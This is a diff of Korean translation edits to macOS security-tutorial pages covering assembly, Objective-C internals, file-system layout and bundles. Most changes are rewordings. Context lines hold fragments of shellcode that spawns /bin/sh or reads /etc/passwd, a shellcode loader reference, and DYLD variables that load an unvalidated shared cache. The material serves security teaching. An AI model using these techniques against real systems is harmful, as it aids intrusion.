@@ -315,7 +315,7 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예 ### Mach 트랩 -[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을 확인하고, [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하세요. Mach 트랩의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach 트랩은 **x16 < 0**을 가지므로, 이전 목록의 번호에 **마이너스**를 붙여 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**입니다. +[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을 확인하고, [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하세요. Mach 트랩의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach 트랩은 **x16 < 0**을 가지므로, 이전 목록의 번호를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**입니다. 이러한 (및 BSD) 시스템 호출을 호출하는 방법을 찾으려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다: ```bash @@ -336,7 +336,7 @@ XNU는 기계 의존적인 호출이라는 또 다른 유형의 호출을 지원 ### comm 페이지 -이것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 더 빠르게 만들기 위해 설계되었습니다. 이러한 커널 서비스는 너무 많이 사용되기 때문에 이 전환이 매우 비효율적일 수 있습니다. +이것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 빠르게 하도록 설계되었습니다. 이 커널 서비스는 너무 많이 사용되기 때문에 이 전환이 매우 비효율적일 수 있습니다. 예를 들어, 호출 `gettimeofdate`는 comm 페이지에서 `timeval`의 값을 직접 읽습니다. @@ -350,7 +350,7 @@ Objective-C 또는 Swift 프로그램에서 이 함수가 사용되는 것을 - x1: op -> 메서드의 선택자 - x2... -> 호출된 메서드의 나머지 인수 -따라서 이 함수로의 분기 전에 중단점을 설정하면 lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다(이 예제에서 객체는 명령을 실행할 `NSConcreteTask`의 객체를 호출합니다): +따라서 이 함수로의 분기 전에 중단점을 설정하면, lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다(이 예제에서 객체는 명령을 실행할 `NSConcreteTask`의 객체를 호출합니다): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -371,9 +371,9 @@ whoami > [!TIP] > 환경 변수 **`NSObjCMessageLoggingEnabled=1`**를 설정하면 `/tmp/msgSends-pid`와 같은 파일에서 이 함수가 호출될 때 로그를 기록할 수 있습니다. > -> 또한 **`OBJC_HELP=1`**을 설정하고 이진 파일을 호출하면 특정 Objc-C 작업이 발생할 때 **로그**를 기록하는 데 사용할 수 있는 다른 환경 변수를 볼 수 있습니다. +> 또한 **`OBJC_HELP=1`**을 설정하고 이진 파일을 호출하면 특정 Objc-C 작업이 발생할 때 **log**할 수 있는 다른 환경 변수를 볼 수 있습니다. -이 함수가 호출되면, 지정된 인스턴스의 호출된 메서드를 찾아야 하며, 이를 위해 다양한 검색이 수행됩니다: +이 함수가 호출될 때, 지정된 인스턴스의 호출된 메서드를 찾아야 하며, 이를 위해 다양한 검색이 수행됩니다: - 낙관적 캐시 조회 수행: - 성공하면 완료 @@ -417,7 +417,7 @@ done ```
-쉘코드를 테스트하는 C 코드 +쉘코드를 테스트하기 위한 C 코드 ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -470,7 +470,7 @@ return 0; [**여기**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)에서 가져온 내용이며 설명됩니다. {{#tabs}} -{{#tab name="with adr"}} +{{#tab name="adr 사용"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -539,7 +539,7 @@ sh_path: .asciz "/bin/sh" #### cat으로 읽기 -목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것이며, 두 번째 인수(x1)는 매개변수의 배열입니다(메모리에서 이는 주소의 스택을 의미합니다). +목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것입니다. 따라서 두 번째 인수(x1)는 매개변수의 배열입니다(메모리에서 이는 주소의 스택을 의미합니다). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index 8cf775b2b..dff676ae2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -8,16 +8,16 @@ x64, 또는 x86-64로도 알려진, 데스크탑 및 서버 컴퓨팅에서 주 ### **Registers** -x64는 x86 아키텍처를 확장하여 **16개의 범용 레지스터**를 제공합니다. 이들은 `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, 그리고 `r8`부터 `r15`까지 레이블이 붙어 있습니다. 이들 각각은 **64비트**(8바이트) 값을 저장할 수 있습니다. 이 레지스터들은 호환성과 특정 작업을 위해 32비트, 16비트, 8비트 서브 레지스터도 가지고 있습니다. +x64는 x86 아키텍처를 확장하여 **16개의 범용 레지스터**를 특징으로 하며, 이들은 `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, 그리고 `r8`부터 `r15`까지 레이블이 붙어 있습니다. 이들 각각은 **64비트**(8바이트) 값을 저장할 수 있습니다. 이 레지스터들은 호환성과 특정 작업을 위해 32비트, 16비트, 8비트 서브 레지스터도 가지고 있습니다. 1. **`rax`** - 전통적으로 함수의 **반환 값**에 사용됩니다. 2. **`rbx`** - 메모리 작업을 위한 **기본 레지스터**로 자주 사용됩니다. 3. **`rcx`** - **루프 카운터**로 일반적으로 사용됩니다. 4. **`rdx`** - 확장된 산술 연산을 포함한 다양한 역할에 사용됩니다. 5. **`rbp`** - 스택 프레임의 **기본 포인터**입니다. -6. **`rsp`** - 스택의 맨 위를 추적하는 **스택 포인터**입니다. +6. **`rsp`** - **스택 포인터**, 스택의 최상단을 추적합니다. 7. **`rsi`** 및 **`rdi`** - 문자열/메모리 작업에서 **소스** 및 **대상** 인덱스에 사용됩니다. -8. **`r8`**부터 **`r15`**까지 - x64에서 도입된 추가 범용 레지스터입니다. +8. **`r8`**부터 **`r15`** - x64에서 도입된 추가 범용 레지스터입니다. ### **Calling Convention** @@ -36,11 +36,11 @@ Swift는 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rs x64 명령어는 풍부한 세트를 가지고 있으며, 이전 x86 명령어와의 호환성을 유지하고 새로운 명령어를 도입합니다. -- **`mov`**: 한 **레지스터** 또는 **메모리 위치**에서 다른 곳으로 값을 **이동**합니다. +- **`mov`**: 한 **레지스터** 또는 **메모리 위치**에서 다른 위치로 값을 **이동**합니다. - 예: `mov rax, rbx` — `rbx`의 값을 `rax`로 이동합니다. - **`push`** 및 **`pop`**: **스택**에 값을 푸시하거나 팝합니다. - 예: `push rax` — `rax`의 값을 스택에 푸시합니다. -- 예: `pop rax` — 스택의 맨 위 값을 `rax`로 팝합니다. +- 예: `pop rax` — 스택의 최상단 값을 `rax`로 팝합니다. - **`add`** 및 **`sub`**: **덧셈** 및 **뺄셈** 연산입니다. - 예: `add rax, rcx` — `rax`와 `rcx`의 값을 더하여 결과를 `rax`에 저장합니다. - **`mul`** 및 **`div`**: **곱셈** 및 **나눗셈** 연산입니다. 주의: 이들은 피연산자 사용에 대한 특정 동작을 가지고 있습니다. @@ -62,7 +62,7 @@ x64 명령어는 풍부한 세트를 가지고 있으며, 이전 x86 명령어 ### **Function Epilogue** 1. **현재 기본 포인터를 스택 포인터로 이동**: `mov rsp, rbp` (로컬 변수 해제) -2. **스택에서 이전 기본 포인터 팝**: `pop rbp` (호출자의 기본 포인터 복원) +2. **이전 기본 포인터를 스택에서 팝**: `pop rbp` (호출자의 기본 포인터 복원) 3. **반환**: `ret` (호출자에게 제어 반환) ## macOS @@ -78,7 +78,7 @@ x64 명령어는 풍부한 세트를 가지고 있으며, 이전 x86 명령어 #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` -그런 다음 각 syscall 번호는 [**이 URL에서**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** 찾을 수 있습니다. +그런 다음 각 syscall 번호를 [**이 URL에서**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** 찾을 수 있습니다. ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } @@ -118,7 +118,7 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' ```
-셸코드를 테스트하기 위한 C 코드 +쉘코드를 테스트하기 위한 C 코드 ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 8b443517c..c374d7c2a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -6,7 +6,7 @@ CF\* 객체는 CoreFoundation에서 제공되며, `CFString`, `CFNumber` 또는 `CFAllocator`와 같은 50개 이상의 객체 클래스를 제공합니다. -이 모든 클래스는 `CFRuntimeClass` 클래스의 인스턴스이며, 호출 시 `__CFRuntimeClassTable`에 대한 인덱스를 반환합니다. CFRuntimeClass는 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html)에서 정의됩니다: +이 모든 클래스는 `CFRuntimeClass` 클래스의 인스턴스이며, 호출되면 `__CFRuntimeClassTable`에 대한 인덱스를 반환합니다. CFRuntimeClass는 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html)에서 정의됩니다: ```objectivec // Some comments were added to the original code @@ -57,7 +57,7 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi ### 메모리 섹션 사용 -ObjectiveC 런타임에서 사용하는 대부분의 데이터는 실행 중에 변경되므로, 메모리의 **\_\_DATA** 세그먼트에서 일부 섹션을 사용합니다: +ObjectiveC 런타임에서 사용하는 대부분의 데이터는 실행 중에 변경되므로, 메모리의 **\_\_DATA** 세그먼트에서 몇 가지 섹션을 사용합니다: - **`__objc_msgrefs`** (`message_ref_t`): 메시지 참조 - **`__objc_ivar`** (`ivar`): 인스턴스 변수 @@ -85,8 +85,8 @@ ObjectiveC 런타임에서 사용하는 대부분의 데이터는 실행 중에 Objective-C는 선택자 및 변수 유형을 단순 및 복합 유형으로 인코딩하기 위해 일부 맹글링을 사용합니다: - 원시 유형은 유형의 첫 글자를 사용합니다. `i`는 `int`, `c`는 `char`, `l`은 `long`...이며, 부호 없는 경우 대문자를 사용합니다 (`L`은 `unsigned Long`). -- 다른 데이터 유형의 글자가 사용되거나 특별한 경우, `q`는 `long long`, `b`는 `bitfields`, `B`는 `booleans`, `#`는 `classes`, `@`는 `id`, `*`는 `char pointers`, `^`는 일반 `pointers`, `?`는 `undefined`와 같은 다른 글자나 기호를 사용합니다. -- 배열, 구조체 및 유니온은 `[`, `{` 및 `(`를 사용합니다. +- 다른 데이터 유형의 경우, 사용되는 글자나 특수한 경우에는 `q`는 `long long`, `b`는 `bitfields`, `B`는 `booleans`, `#`는 `classes`, `@`는 `id`, `*`는 `char pointers`, `^`는 일반 `pointers`, `?`는 `undefined`와 같은 다른 글자나 기호를 사용합니다. +- 배열, 구조체 및 유니온은 각각 `[`, `{` 및 `(`를 사용합니다. #### 예제 메서드 선언 ```objectivec @@ -116,7 +116,7 @@ Objective-C는 선택자 및 변수 유형을 단순 및 복합 유형으로 인 ### **클래스** -Objective-C의 클래스는 속성, 메서드 포인터가 있는 구조체입니다... 구조체 `objc_class`를 찾는 것이 가능합니다 [**소스 코드**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): +Objective-C의 클래스는 속성, 메서드 포인터가 있는 구조체입니다... 구조체 `objc_class`를 [**소스 코드**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html)에서 찾는 것이 가능합니다: ```objectivec struct objc_class : objc_object { // Class ISA; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 3bb0f79f1..9ea54c944 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -11,14 +11,14 @@ - **/etc**: 구성 파일 - **/Library**: 환경 설정, 캐시 및 로그와 관련된 많은 하위 디렉토리와 파일을 찾을 수 있습니다. 루트와 각 사용자 디렉토리에 Library 폴더가 존재합니다. - **/private**: 문서화되지 않았지만 언급된 많은 폴더는 개인 디렉토리에 대한 심볼릭 링크입니다. -- **/sbin**: 필수 시스템 바이너리 (관리와 관련) -- **/System**: OS X을 실행하기 위한 파일입니다. 여기에는 주로 Apple 특정 파일만 있어야 합니다 (서드파티 아님). -- **/tmp**: 파일은 3일 후에 삭제됩니다 (이는 /private/tmp에 대한 소프트 링크입니다). +- **/sbin**: 필수 시스템 바이너리(관리와 관련됨) +- **/System**: OS X을 실행하기 위한 파일입니다. 여기에는 주로 Apple 특정 파일만 있어야 합니다(서드파티 아님). +- **/tmp**: 파일은 3일 후에 삭제됩니다(이는 /private/tmp에 대한 소프트 링크입니다). - **/Users**: 사용자의 홈 디렉토리입니다. - **/usr**: 구성 및 시스템 바이너리 - **/var**: 로그 파일 - **/Volumes**: 마운트된 드라이브가 여기에 나타납니다. -- **/.vol**: `stat a.txt`를 실행하면 `16777223 7545753 -rw-r--r-- 1 username wheel ...`와 같은 결과를 얻습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째는 inode 번호입니다. 이 정보를 사용하여 `cat /.vol/16777223/7545753`를 실행하여 이 파일의 내용을 접근할 수 있습니다. +- **/.vol**: `stat a.txt`를 실행하면 `16777223 7545753 -rw-r--r-- 1 username wheel ...`와 같은 결과를 얻습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째 숫자는 inode 번호입니다. 이 정보를 사용하여 `cat /.vol/16777223/7545753`를 실행하여 이 파일의 내용을 접근할 수 있습니다. ### 애플리케이션 폴더 @@ -56,9 +56,9 @@ macos-installers-abuse.md - `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` - `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` -- **`.app`**: 디렉토리 구조를 따르는 Apple 애플리케이션입니다 (번들입니다). -- **`.dylib`**: 동적 라이브러리 (Windows DLL 파일과 유사) -- **`.pkg`**: xar (eXtensible Archive format)와 동일합니다. 설치 명령을 사용하여 이러한 파일의 내용을 설치할 수 있습니다. +- **`.app`**: 디렉토리 구조를 따르는 Apple 애플리케이션입니다(번들입니다). +- **`.dylib`**: 동적 라이브러리(Windows DLL 파일과 유사) +- **`.pkg`**: xar(확장 가능한 아카이브 형식)와 동일합니다. 설치 명령을 사용하여 이러한 파일의 내용을 설치할 수 있습니다. - **`.DS_Store`**: 이 파일은 각 디렉토리에 있으며, 디렉토리의 속성과 사용자 정의를 저장합니다. - **`.Spotlight-V100`**: 이 폴더는 시스템의 모든 볼륨의 루트 디렉토리에 나타납니다. - **`.metadata_never_index`**: 이 파일이 볼륨의 루트에 있으면 Spotlight는 해당 볼륨을 인덱싱하지 않습니다. @@ -67,22 +67,22 @@ macos-installers-abuse.md ### macOS 번들 -번들은 **Finder에서 객체처럼 보이는 디렉토리**입니다 (번들의 예는 `*.app` 파일입니다). +번들은 **Finder에서 객체처럼 보이는 디렉토리**입니다(번들의 예는 `*.app` 파일입니다). {{#ref}} macos-bundles.md {{#endref}} -## Dyld 공유 라이브러리 캐시 (SLC) +## Dyld 공유 라이브러리 캐시(SLC) -macOS (및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylibs는 **단일 파일**로 **결합되어** 있으며, 이를 **dyld 공유 캐시**라고 합니다. 이는 성능을 향상시켜 코드가 더 빠르게 로드될 수 있도록 합니다. +macOS(및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylib는 **단일 파일**로 **결합되어** 있으며, 이를 **dyld 공유 캐시**라고 합니다. 이는 성능을 향상시켜 코드가 더 빠르게 로드될 수 있도록 합니다. -이것은 macOS에서 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`에 위치하며, 이전 버전에서는 **`/System/Library/dyld/`**에서 **공유 캐시**를 찾을 수 있습니다.\ +macOS에서는 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`에 위치하며, 이전 버전에서는 **`/System/Library/dyld/`**에서 **공유 캐시**를 찾을 수 있습니다.\ iOS에서는 **`/System/Library/Caches/com.apple.dyld/`**에서 찾을 수 있습니다. dyld 공유 캐시와 유사하게, 커널과 커널 확장도 부팅 시 로드되는 커널 캐시에 컴파일됩니다. -단일 파일 dylib 공유 캐시에서 라이브러리를 추출하기 위해 [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip)이라는 바이너리를 사용할 수 있었으나 현재는 작동하지 않을 수 있으며, [**dyldextractor**](https://github.com/arandomdev/dyldextractor)도 사용할 수 있습니다: +단일 파일 dylib 공유 캐시에서 라이브러리를 추출하기 위해 [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip)라는 바이너리를 사용할 수 있었으나 현재는 작동하지 않을 수 있습니다. 대신 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수 있습니다: ```bash # dyld_shared_cache_util dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -114,25 +114,25 @@ SLC가 첫 번째 사용 시 슬라이드되더라도 모든 **프로세스**는 환경 변수를 사용하여: -- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 새로운 공유 라이브러리 캐시를 로드할 수 있게 해줍니다. +- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 이는 새로운 공유 라이브러리 캐시를 로드할 수 있게 해줍니다. - **`DYLD_SHARED_CACHE_DIR=avoid`** 및 실제 라이브러리로의 심볼릭 링크로 공유 캐시의 라이브러리를 수동으로 교체합니다 (추출해야 함). ## 특별 파일 권한 ### 폴더 권한 -**폴더**에서 **읽기**는 **목록을 나열할 수 있게** 하고, **쓰기**는 **파일을 삭제하고 작성할 수 있게** 하며, **실행**은 **디렉토리를 탐색할 수 있게** 합니다. 예를 들어, **실행 권한이 없는 디렉토리** 내의 **파일에 대한 읽기 권한이 있는 사용자**는 **파일을 읽을 수 없습니다**. +**폴더**에서 **읽기**는 **목록을 나열할 수 있게** 하고, **쓰기**는 **삭제** 및 **파일 쓰기**를 허용하며, **실행**은 **디렉토리를 탐색할 수 있게** 합니다. 예를 들어, **실행 권한이 없는 디렉토리** 내의 **파일에 대한 읽기 권한**이 있는 사용자는 **파일을 읽을 수 없습니다**. ### 플래그 수정자 -파일에 설정할 수 있는 몇 가지 플래그가 있으며, 이로 인해 파일이 다르게 동작할 수 있습니다. 디렉토리 내 파일의 **플래그를 확인하려면** `ls -lO /path/directory`를 사용하세요. +파일에 설정할 수 있는 몇 가지 플래그가 있으며, 이는 파일이 다르게 동작하게 만듭니다. 디렉토리 내의 파일 플래그를 **확인하려면** `ls -lO /path/directory`를 사용하세요. -- **`uchg`**: **uchange** 플래그로, **파일**을 변경하거나 삭제하는 **모든 작업을 방지**합니다. 설정하려면: `chflags uchg file.txt` -- 루트 사용자는 **플래그를 제거하고 파일을 수정할 수 있습니다**. +- **`uchg`**: **uchange** 플래그로, **파일**의 변경 또는 삭제를 **방지**합니다. 설정하려면: `chflags uchg file.txt` +- 루트 사용자는 **플래그를 제거**하고 파일을 수정할 수 있습니다. - **`restricted`**: 이 플래그는 파일이 **SIP에 의해 보호**되도록 합니다 (이 플래그를 파일에 추가할 수 없습니다). -- **`Sticky bit`**: 스티키 비트가 있는 디렉토리에서는 **오직** **디렉토리 소유자 또는 루트만 파일을 이름 변경하거나 삭제할 수 있습니다**. 일반적으로 이는 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하지 못하도록 합니다. +- **`Sticky bit`**: 스티키 비트가 있는 디렉토리에서는 **오직** **디렉토리 소유자 또는 루트만 파일을 이름 변경하거나 삭제**할 수 있습니다. 일반적으로 이는 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하지 못하도록 합니다. -모든 플래그는 파일 `sys/stat.h`에서 찾을 수 있으며 (다음 명령어로 찾을 수 있습니다: `mdfind stat.h | grep stat.h`) 다음과 같습니다: +모든 플래그는 파일 `sys/stat.h`에서 찾을 수 있으며 (다음 명령어로 찾기: `mdfind stat.h | grep stat.h`) 다음과 같습니다: - `UF_SETTABLE` 0x0000ffff: 소유자 변경 가능 플래그의 마스크. - `UF_NODUMP` 0x00000001: 파일 덤프를 하지 않음. @@ -182,12 +182,12 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " - `com.apple.resourceFork`: 리소스 포크 호환성. `filename/..namedfork/rsrc`로도 볼 수 있음 - `com.apple.quarantine`: MacOS: Gatekeeper 격리 메커니즘 (III/6) -- `metadata:*`: MacOS: 다양한 메타데이터, 예를 들어 `_backup_excludeItem` 또는 `kMD*` +- `metadata:*`: MacOS: `_backup_excludeItem` 또는 `kMD*`와 같은 다양한 메타데이터 - `com.apple.lastuseddate` (#PS): 마지막 파일 사용 날짜 - `com.apple.FinderInfo`: MacOS: Finder 정보 (예: 색상 태그) - `com.apple.TextEncoding`: ASCII 텍스트 파일의 텍스트 인코딩을 지정 - `com.apple.logd.metadata`: `/var/db/diagnostics`의 파일에서 logd에 의해 사용됨 -- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100` 파일 시스템의 루트에) +- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100` 파일 시스템의 루트에 위치) - `com.apple.rootless`: MacOS: 시스템 무결성 보호에 의해 파일에 레이블을 붙이는 데 사용됨 (III/10) - `com.apple.uuidb.boot-uuid`: 고유 UUID로 부팅 에포크의 logd 마킹 - `com.apple.decmpfs`: MacOS: 투명 파일 압축 (II/7) @@ -196,7 +196,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ### 리소스 포크 | macOS ADS -이는 **MacOS에서 대체 데이터 스트림을 얻는 방법**입니다. **file/..namedfork/rsrc**에 있는 확장 속성 **com.apple.ResourceFork** 안에 내용을 저장할 수 있습니다. +이는 **MacOS에서 대체 데이터 스트림을 얻는 방법**입니다. **file/..namedfork/rsrc**에 있는 **com.apple.ResourceFork**라는 확장 속성 안에 내용을 저장할 수 있습니다. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -239,9 +239,9 @@ macos-memory-dumping.md 디렉토리 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`는 **다양한 파일 확장자와 관련된 위험 정보가 저장되는 곳**입니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 다운로드 시 이러한 파일을 처리하는 방식에 영향을 미칩니다. 카테고리는 다음과 같습니다: -- **LSRiskCategorySafe**: 이 카테고리의 파일은 **완전히 안전한** 것으로 간주됩니다. Safari는 다운로드 후 자동으로 이러한 파일을 엽니다. +- **LSRiskCategorySafe**: 이 카테고리의 파일은 **완전히 안전한** 것으로 간주됩니다. Safari는 다운로드 후 이러한 파일을 자동으로 엽니다. - **LSRiskCategoryNeutral**: 이 파일은 경고 없이 제공되며 Safari에 의해 **자동으로 열리지 않습니다**. -- **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 **경고를 발생시킵니다**, 파일이 애플리케이션임을 나타냅니다. 이는 사용자에게 경고하기 위한 보안 조치입니다. +- **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 **경고를 발생시킵니다**, 파일이 애플리케이션임을 나타냅니다. 이는 사용자에게 경고하는 보안 조치입니다. - **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 실행 파일을 포함할 수 있는 아카이브와 같은 파일을 위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 경우 **경고를 발생시킵니다**. ## Log files diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index 65c23d5e3..519eb1759 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -27,13 +27,13 @@ macOS의 번들은 애플리케이션, 라이브러리 및 기타 필요한 파 `Safari.app`와 같은 번들의 내용을 탐색하려면 다음 명령어를 사용할 수 있습니다: `bash ls -lR /Applications/Safari.app/Contents` -이 탐색은 `_CodeSignature`, `MacOS`, `Resources`와 같은 디렉토리 및 `Info.plist`와 같은 파일을 드러내며, 각각 애플리케이션을 보호하고 사용자 인터페이스 및 운영 매개변수를 정의하는 고유한 목적을 가지고 있습니다. +이 탐색은 `_CodeSignature`, `MacOS`, `Resources`와 같은 디렉토리 및 `Info.plist`와 같은 파일을 드러내며, 각각 애플리케이션 보안, 사용자 인터페이스 정의 및 운영 매개변수 설정과 같은 고유한 목적을 수행합니다. #### Additional Bundle Directories 일반 디렉토리 외에도 번들은 다음을 포함할 수 있습니다: -- **Frameworks**: 애플리케이션에서 사용하는 번들된 프레임워크를 포함합니다. 프레임워크는 추가 리소스가 있는 dylib와 같습니다. +- **Frameworks**: 애플리케이션에서 사용하는 번들된 프레임워크를 포함합니다. 프레임워크는 추가 리소스가 있는 dylibs와 같습니다. - **PlugIns**: 애플리케이션의 기능을 향상시키는 플러그인 및 확장을 위한 디렉토리입니다. - **XPCServices**: 애플리케이션이 프로세스 외 통신을 위해 사용하는 XPC 서비스를 보유합니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index c65585158..565a6c764 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -4,7 +4,7 @@ ## Pkg 기본 정보 -macOS **설치 패키지**(`.pkg` 파일로도 알려짐)는 macOS에서 **소프트웨어를 배포하기 위해 사용되는 파일 형식**입니다. 이 파일들은 소프트웨어가 올바르게 설치되고 실행되는 데 필요한 모든 것을 담고 있는 **상자**와 같습니다. +macOS **설치 패키지**(또는 `.pkg` 파일로도 알려짐)는 macOS에서 **소프트웨어를 배포하기 위해 사용되는 파일 형식**입니다. 이 파일들은 소프트웨어가 올바르게 설치되고 실행되는 데 필요한 모든 것을 담고 있는 **상자**와 같습니다. 패키지 파일 자체는 **대상** 컴퓨터에 설치될 **파일 및 디렉토리의 계층**을 포함하는 아카이브입니다. 또한 설치 전후에 작업을 수행하기 위한 **스크립트**를 포함할 수 있으며, 예를 들어 구성 파일을 설정하거나 소프트웨어의 이전 버전을 정리하는 작업이 있습니다. @@ -12,11 +12,11 @@ macOS **설치 패키지**(`.pkg` 파일로도 알려짐)는 macOS에서 **소
https://www.youtube.com/watch?v=iASSG0_zobQ
